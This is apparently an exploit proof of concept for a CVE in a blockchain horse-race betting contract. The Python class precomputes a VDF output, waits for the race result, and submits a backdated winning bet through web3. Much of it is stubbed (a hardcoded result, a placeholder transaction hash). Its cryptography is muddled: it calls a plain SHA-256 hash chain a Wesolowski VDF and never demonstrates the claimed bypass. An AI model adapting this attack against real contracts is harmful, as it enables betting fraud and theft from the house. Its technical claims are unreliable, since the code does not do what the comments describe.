# CVE-2025-65951 PoC - VDF Timelock Bypass
# Attack: Pre-compute VDF output and bypass timelock encryption
import hashlib
import json
import requests
from web3 import Web3
class EntropyDerbyVDFBypass:
def __init__(self, contract_address, rpc_url):
self.w3 = Web3(Web3.HTTPProvider(rpc_url))
self.contract_address = contract_address
def precompute_vdf(self, bet_id, challenge, iterations=1000000):
"""Pre-compute the Wesolowski VDF output before the race result is known.
In practice, this can be done with the challenge hash before race starts."""
x = challenge.encode()
for i in range(iterations):
x = hashlib.sha256(x + str(i).encode()).digest()
return x.hex()
def construct_exploit_ticket(self, race_id, bet_amount, selected_horse,
vdf_output, secret_nonce):
"""Construct a malicious bet ticket with pre-computed VDF output."""
ticket = {
"race_id": race_id,
"bet_amount": bet_amount,
"selected_horse": selected_horse,
"vdf_output_hex": vdf_output,
"secret_nonce": secret_nonce,
"timestamp": self.w3.eth.get_block('latest').timestamp
}
return json.dumps(ticket)
def exploit(self, race_id, bet_amount, selected_horse, challenge):
"""
1. Pre-compute VDF output with known challenge
2. Wait for race result (optional - in real attack, timing matters)
3. If favorable result, submit ticket with pre-computed VDF
4. House verifies VDF quickly (bypassing actual delay)
5. Bet is accepted as if submitted before race
"""
# Step 1: Pre-compute VDF
vdf_output = self.precompute_vdf(race_id, challenge)
# Step 2: Wait for race result (simulated)
race_result = self.get_race_result(race_id)
# Step 3: If favorable, exploit
if self.is_favorable(race_result, selected_horse):
ticket = self.construct_exploit_ticket(
race_id, bet_amount, selected_horse, vdf_output, "nonce"
)
# Submit to contract - will pass VDF verification immediately
tx_hash = self.submit_bet(ticket)
return {"status": "exploited", "tx": tx_hash}
return {"status": "no_exploit_needed"}
def get_race_result(self, race_id):
"""Fetch race result from oracle."""
return "horse_7" # Simulated
def is_favorable(self, result, bet):
"""Check if bet is winning."""
return result == bet
def submit_bet(self, ticket):
"""Submit bet to smart contract."""
# Implementation depends on contract ABI
return "0x..."